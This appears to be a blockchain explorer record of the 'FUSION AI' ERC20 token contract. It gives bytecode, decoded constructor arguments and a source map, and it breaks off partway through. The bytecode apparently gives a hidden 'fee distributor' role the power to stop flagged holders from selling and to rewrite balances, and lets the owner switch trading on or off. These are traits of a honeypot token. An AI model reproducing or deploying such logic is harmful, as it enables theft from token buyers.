565b604082019050919050565b60006118e3602283611c8e565b91506118ee82611eea565b604082019050919050565b6000611906602283611c8e565b915061191182611f39565b604082019050919050565b6000611929601d83611c8e565b915061193482611f88565b602082019050919050565b600061194c602683611c8e565b915061195782611fb1565b604082019050919050565b600061196f602083611c8e565b915061197a82612000565b602082019050919050565b6000611992602183611c8e565b915061199d82612029565b604082019050919050565b60006119b5602583611c8e565b91506119c082612078565b604082019050919050565b60006119d8600083611c8e565b91506119e3826120c7565b600082019050919050565b60006119fb602483611c8e565b9150611a06826120ca565b604082019050919050565b6000611a1e601d83611c8e565b9150611a2982612119565b602082019050919050565b6000611a41602583611c8e565b9150611a4c82612142565b604082019050919050565b611a6081611d67565b82525050565b611a6f81611d71565b82525050565b6000602082019050611a8a600083018461185c565b92915050565b6000602082019050611aa5600083018461186b565b92915050565b60006020820190508181036000830152611ac5818461187a565b905092915050565b60006020820190508181036000830152611ae6816118b3565b9050919050565b60006020820190508181036000830152611b06816118d6565b9050919050565b60006020820190508181036000830152611b26816118f9565b9050919050565b60006020820190508181036000830152611b468161191c565b9050919050565b60006020820190508181036000830152611b668161193f565b9050919050565b60006020820190508181036000830152611b8681611962565b9050919050565b60006020820190508181036000830152611ba681611985565b9050919050565b60006020820190508181036000830152611bc6816119a8565b9050919050565b60006020820190508181036000830152611be6816119cb565b9050919050565b60006020820190508181036000830152611c06816119ee565b9050919050565b60006020820190508181036000830152611c2681611a11565b9050919050565b60006020820190508181036000830152611c4681611a34565b9050919050565b6000602082019050611c626000830184611a57565b92915050565b6000602082019050611c7d6000830184611a66565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611caa82611d67565b9150611cb583611d67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cea57611ce9611e2c565b5b828201905092915050565b6000611d0082611d67565b9150611d0b83611d67565b925082821015611d1e57611d1d611e2c565b5b828203905092915050565b6000611d3482611d47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d9c578082015181840152602081019050611d81565b83811115611dab576000848401525b50505050565b60006002820490506001821680611dc957607f821691505b60208210811415611ddd57611ddc611e5b565b5b50919050565b6000611dee82611d67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e2157611e20611e2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61219a81611d29565b81146121a557600080fd5b50565b6121b181611d3b565b81146121bc57600080fd5b50565b6121c881611d67565b81146121d357600080fd5b5056fea26469706673582212207d7c1e0660c0fb9946944dcf3f4ed6317f101c0272bd20af5e153326416087e464736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000009465553494f4e20414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006465553494f4e0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e625f8a116100715780639e625f8a146102bd578063a061e0c3146102d9578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e1461036957610116565b8063715018a61461025b5780638da5cb5b1461026557806395d89b41146102835780639dc29fac146102a157610116565b806323b872dd116100e957806323b872dd146101a3578063293230b8146101d3578063313ce567146101dd57806339509351146101fb57806370a082311461022b57610116565b806306fdde031461011b578063095ea7b3146101395780631186b8d81461016957806318160ddd14610185575b600080fd5b610123610399565b6040516101309190611aab565b60405180910390f35b610153600480360381019061014e91906117c8565b61042b565b6040516101609190611a90565b60405180910390f35b610183600480360381019061017e9190611804565b61044e565b005b61018d6105a9565b60405161019a9190611c4d565b60405180910390f35b6101bd60048036038101906101b89190611779565b6105b3565b6040516101ca9190611a90565b60405180910390f35b6101db6105e2565b005b6101e56106b8565b6040516101f29190611c68565b60405180910390f35b610215600480360381019061021091906117c8565b6106c1565b6040516102229190611a90565b60405180910390f35b61024560048036038101906102409190611714565b61076b565b6040516102529190611c4d565b60405180910390f35b6102636107b4565b005b61026d61083c565b60405161027a9190611a75565b60405180910390f35b61028b610865565b6040516102989190611aab565b60405180910390f35b6102bb60048036038101906102b691906117c8565b6108f7565b005b6102d760048036038101906102d29190611714565b610995565b005b6102f360048036038101906102ee9190611714565b610ab0565b6040516103009190611a90565b60405180910390f35b610323600480360381019061031e91906117c8565b610b06565b6040516103309190611a90565b60405180910390f35b610353600480360381019061034e91906117c8565b610bf0565b6040516103609190611a90565b60405180910390f35b610383600480360381019061037e919061173d565b610c13565b6040516103909190611c4d565b60405180910390f35b6060600680546103a890611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611db1565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c9a565b9050610443818585610ca2565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d590611c0d565b60405180910390fd5b60005b838390508110156105a35781600a600086868581811061052a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061053f9190611714565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061059b90611de3565b9150506104e1565b50505050565b6000600454905090565b6000806105be610c9a565b90506105cb858285610e6d565b6105d6858585610ef9565b60019150509392505050565b6105ea610c9a565b73ffffffffffffffffffffffffffffffffffffffff1661060861083c565b73ffffffffffffffffffffffffffffffffffffffff161461065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590611b6d565b60405180910390fd5b60001515600860009054906101000a900460ff161515141561069a576001600860006101000a81548160ff0219169083151502179055506106b6565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b6000806106cc610c9a565b9050610760818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461075b9190611c9f565b610ca2565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107bc610c9a565b73ffffffffffffffffffffffffffffffffffffffff166107da61083c565b73ffffffffffffffffffffffffffffffffffffffff1614610830576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082790611b6d565b60405180910390fd5b61083a6000611357565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461087490611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546108a090611db1565b80156108ed5780601f106108c2576101008083540402835291602001916108ed565b820191906000526020600020905b8154815290600101906020018083116108d057829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e90611c0d565b60405180910390fd5b610991828261141b565b5050565b61099d610c9a565b73ffffffffffffffffffffffffffffffffffffffff166109bb61083c565b73ffffffffffffffffffffffffffffffffffffffff1614610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0890611b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610b11610c9a565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90611c2d565b60405180910390fd5b610be48286868403610ca2565b60019250505092915050565b600080610bfb610c9a565b9050610c08818585610ef9565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7990611b0d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e609190611c4d565b60405180910390a3505050565b6000610e798484610c13565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ef35781811015610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611b2d565b60405180910390fd5b610ef28484848403610ca2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6090611bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090611acd565b60405180910390fd5b60011515600860009054906101000a900460ff161515148061102d5750610ffe61083c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106a575061103b61083c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112f0576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112eb576110c183826115e7565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111565760008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90611bcd565b60405180910390fd5b5b611161838383611681565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90611b4d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461127d9190611c9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e19190611c4d565b60405180910390a3505b611347565b60011515600860009054906101000a900460ff16151514611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90611bcd565b60405180910390fd5b5b611352838383611686565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611b8d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611aed565b60405180910390fd5b816009546115209190611cf5565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115759190611cf5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115da9190611c4d565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561167d576000811461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390611bcd565b60405180910390fd5b5b5050565b505050565b505050565b60008135905061169a81612191565b92915050565b60008083601f8401126116b257600080fd5b8235905067ffffffffffffffff8111156116cb57600080fd5b6020830191508360208202830111156116e357600080fd5b9250929050565b6000813590506116f9816121a8565b92915050565b60008135905061170e816121bf565b92915050565b60006020828403121561172657600080fd5b60006117348482850161168b565b91505092915050565b6000806040838503121561175057600080fd5b600061175e8582860161168b565b925050602061176f8582860161168b565b9150509250929050565b60008060006060848603121561178e57600080fd5b600061179c8682870161168b565b93505060206117ad8682870161168b565b92505060406117be868287016116ff565b9150509250925092565b600080604083850312156117db57600080fd5b60006117e98582860161168b565b92505060206117fa858286016116ff565b9150509250929050565b60008060006040848603121561181957600080fd5b600084013567ffffffffffffffff81111561183357600080fd5b61183f868287016116a0565b93509350506020611852868287016116ea565b9150509250925092565b61186581611d29565b82525050565b61187481611d3b565b82525050565b600061188582611c83565b61188f8185611c8e565b935061189f818560208601611d7e565b6118a881611e8a565b840191505092915050565b60006118c0602383611c8e565b91506118cb82611e9b565b604082019050919050565b60006118e3602283611c8e565b91506118ee82611eea565b604082019050919050565b6000611906602283611c8e565b915061191182611f39565b604082019050919050565b6000611929601d83611c8e565b915061193482611f88565b602082019050919050565b600061194c602683611c8e565b915061195782611fb1565b604082019050919050565b600061196f602083611c8e565b915061197a82612000565b602082019050919050565b6000611992602183611c8e565b915061199d82612029565b604082019050919050565b60006119b5602583611c8e565b91506119c082612078565b604082019050919050565b60006119d8600083611c8e565b91506119e3826120c7565b600082019050919050565b60006119fb602483611c8e565b9150611a06826120ca565b604082019050919050565b6000611a1e601d83611c8e565b9150611a2982612119565b602082019050919050565b6000611a41602583611c8e565b9150611a4c82612142565b604082019050919050565b611a6081611d67565b82525050565b611a6f81611d71565b82525050565b6000602082019050611a8a600083018461185c565b92915050565b6000602082019050611aa5600083018461186b565b92915050565b60006020820190508181036000830152611ac5818461187a565b905092915050565b60006020820190508181036000830152611ae6816118b3565b9050919050565b60006020820190508181036000830152611b06816118d6565b9050919050565b60006020820190508181036000830152611b26816118f9565b9050919050565b60006020820190508181036000830152611b468161191c565b9050919050565b60006020820190508181036000830152611b668161193f565b9050919050565b60006020820190508181036000830152611b8681611962565b9050919050565b60006020820190508181036000830152611ba681611985565b9050919050565b60006020820190508181036000830152611bc6816119a8565b9050919050565b60006020820190508181036000830152611be6816119cb565b9050919050565b60006020820190508181036000830152611c06816119ee565b9050919050565b60006020820190508181036000830152611c2681611a11565b9050919050565b60006020820190508181036000830152611c4681611a34565b9050919050565b6000602082019050611c626000830184611a57565b92915050565b6000602082019050611c7d6000830184611a66565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611caa82611d67565b9150611cb583611d67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cea57611ce9611e2c565b5b828201905092915050565b6000611d0082611d67565b9150611d0b83611d67565b925082821015611d1e57611d1d611e2c565b5b828203905092915050565b6000611d3482611d47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d9c578082015181840152602081019050611d81565b83811115611dab576000848401525b50505050565b60006002820490506001821680611dc957607f821691505b60208210811415611ddd57611ddc611e5b565b5b50919050565b6000611dee82611d67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e2157611e20611e2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61219a81611d29565b81146121a557600080fd5b50565b6121b181611d3b565b81146121bc57600080fd5b50565b6121c881611d67565b81146121d357600080fd5b5056fea26469706673582212207d7c1e0660c0fb9946944dcf3f4ed6317f101c0272bd20af5e153326416087e464736f6c63430008030033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000009465553494f4e20414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006465553494f4e0000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): FUSION AI
Arg [1] : symbol (string): FUSION
Arg [2] : totalSupply (uint256): 1000000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 465553494f4e2041490000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 465553494f4e0000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

84:354:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1098:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2029:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4084:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1418:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2238:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;818:154;;;:::i;:::-;;1318:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2541:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1534:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1806:103:6;;;:::i;:::-;;719:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1206:104:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;322:113:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1312:143:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;980:110:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2789:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1669:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1870:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1098:100;1152:13;1185:5;1178:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1098:100;:::o;2029:201::-;2112:4;2129:13;2145:12;:10;:12::i;:::-;2129:28;;2168:32;2177:5;2184:7;2193:6;2168:8;:32::i;:::-;2218:4;2211:11;;;2029:201;;;;:::o;4084:197::-;1184:10:6;1168:26;;:12;;;;;;;;;;;:26;;;1160:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4182:9:1::1;4177:97;4201:8;;:15;;4197:1;:19;4177:97;;;4259:3;4238:5;:18;4244:8;;4253:1;4244:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4238:18;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;4218:3;;;;;:::i;:::-;;;;4177:97;;;;4084:197:::0;;;:::o;1418:108::-;1479:7;1506:12;;1499:19;;1418:108;:::o;2238:295::-;2369:4;2386:15;2404:12;:10;:12::i;:::-;2386:30;;2427:38;2443:4;2449:7;2458:6;2427:15;:38::i;:::-;2476:27;2486:4;2492:2;2496:6;2476:9;:27::i;:::-;2521:4;2514:11;;;2238:295;;;;;:::o;818:154::-;950:12:6;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;891:5:1::1;876:20;;:11;;;;;;;;;;;:20;;;872:93;;;922:4;908:11;;:18;;;;;;;;;;;;;;;;;;872:93;;;958:5;944:11;;:19;;;;;;;;;;;;;;;;;;872:93;818:154::o:0;1318:92::-;1376:5;1401:1;1394:8;;1318:92;:::o;2541:240::-;2629:4;2646:13;2662:12;:10;:12::i;:::-;2646:28;;2685:66;2694:5;2701:7;2740:10;2710:11;:18;2722:5;2710:18;;;;;;;;;;;;;;;:27;2729:7;2710:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;2685:8;:66::i;:::-;2769:4;2762:11;;;2541:240;;;;:::o;1534:127::-;1608:7;1635:9;:18;1645:7;1635:18;;;;;;;;;;;;;;;;1628:25;;1534:127;;;:::o;1806:103:6:-;950:12;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1871:30:::1;1898:1;1871:18;:30::i;:::-;1806:103::o:0;719:87::-;765:7;792:6;;;;;;;;;;;785:13;;719:87;:::o;1206:104:1:-;1262:13;1295:7;1288:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1206:104;:::o;322:113:2:-;1184:10:6;1168:26;;:12;;;;;;;;;;;:26;;;1160:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;405:22:2::1;411:7;420:6;405:5;:22::i;:::-;322:113:::0;;:::o;1312:143:6:-;950:12;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1411:1:::1;1387:26;;:12;;;;;;;;;;;:26;;;1378:36;;;::::0;::::1;;1440:7;1425:12;;:22;;;;;;;;;;;;;;;;;;1312:143:::0;:::o;980:110:1:-;1044:4;1068:5;:14;1074:7;1068:14;;;;;;;;;;;;;;;;;;;;;;;;;1061:21;;980:110;;;:::o;2789:438::-;2882:4;2899:13;2915:12;:10;:12::i;:::-;2899:28;;2938:24;2965:11;:18;2977:5;2965:18;;;;;;;;;;;;;;;:27;2984:7;2965:27;;;;;;;;;;;;;;;;2938:54;;3031:15;3011:16;:35;;3003:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;3124:60;3133:5;3140:7;3168:15;3149:16;:34;3124:8;:60::i;:::-;3215:4;3208:11;;;;2789:438;;;;:::o;1669:193::-;1748:4;1765:13;1781:12;:10;:12::i;:::-;1765:28;;1804;1814:5;1821:2;1825:6;1804:9;:28::i;:::-;1850:4;1843:11;;;1669:193;;;;:::o;1870:151::-;1959:7;1986:11;:18;1998:5;1986:18;;;;;;;;;;;;;;;:27;2005:7;1986:27;;;;;;;;;;;;;;;;1979:34;;1870:151;;;;:::o;92:98:0:-;145:7;172:10;165:17;;92:98;:::o;5326:380:1:-;5479:1;5462:19;;:5;:19;;;;5454:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5560:1;5541:21;;:7;:21;;;;5533:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5644:6;5614:11;:18;5626:5;5614:18;;;;;;;;;;;;;;;:27;5633:7;5614:27;;;;;;;;;;;;;;;:36;;;;5682:7;5666:32;;5675:5;5666:32;;;5691:6;5666:32;;;;;;:::i;:::-;;;;;;;;5326:380;;;:::o;5714:453::-;5849:24;5876:25;5886:5;5893:7;5876:9;:25::i;:::-;5849:52;;5936:17;5916:16;:37;5912:248;;5998:6;5978:16;:26;;5970:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6082:51;6091:5;6098:7;6126:6;6107:16;:25;6082:8;:51::i;:::-;5912:248;5714:453;;;;:::o;4289:1029::-;4436:1;4420:18;;:4;:18;;;;4412:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4513:1;4499:16;;:2;:16;;;;4491:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4585:4;4570:19;;:11;;;;;;;;;;;:19;;;:38;;;;4601:7;:5;:7::i;:::-;4593:15;;:4;:15;;;4570:38;:55;;;;4618:7;:5;:7::i;:::-;4612:13;;:2;:13;;;4570:55;4566:697;;;4663:1;4645:9;:15;4655:4;4645:15;;;;;;;;;;;;;;;;:19;4642:568;;;4684:36;4707:4;4713:6;4684:22;:36::i;:::-;4743:5;:9;4749:2;4743:9;;;;;;;;;;;;;;;;;;;;;;;;;4739:36;;4769:1;4762:6;:8;4754:21;;;;;;;;;;;;:::i;:::-;;;;;;;;;4739:36;4794:38;4815:4;4821:2;4825:6;4794:20;:38::i;:::-;4853:19;4875:9;:15;4885:4;4875:15;;;;;;;;;;;;;;;;4853:37;;4932:6;4917:11;:21;;4909:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5065:6;5051:11;:20;5033:9;:15;5043:4;5033:15;;;;;;;;;;;;;;;:38;;;;5126:6;5109:9;:13;5119:2;5109:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5173:2;5158:26;;5167:4;5158:26;;;5177:6;5158:26;;;;;;:::i;:::-;;;;;;;;4642:568;;4566:697;;;5252:4;5237:19;;:11;;;;;;;;;;;:19;;;5228:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;4566:697;5273:37;5293:4;5299:2;5303:6;5273:19;:37::i;:::-;4289:1029;;;:::o;2069:191:6:-;2143:16;2162:6;;;;;;;;;;;2143: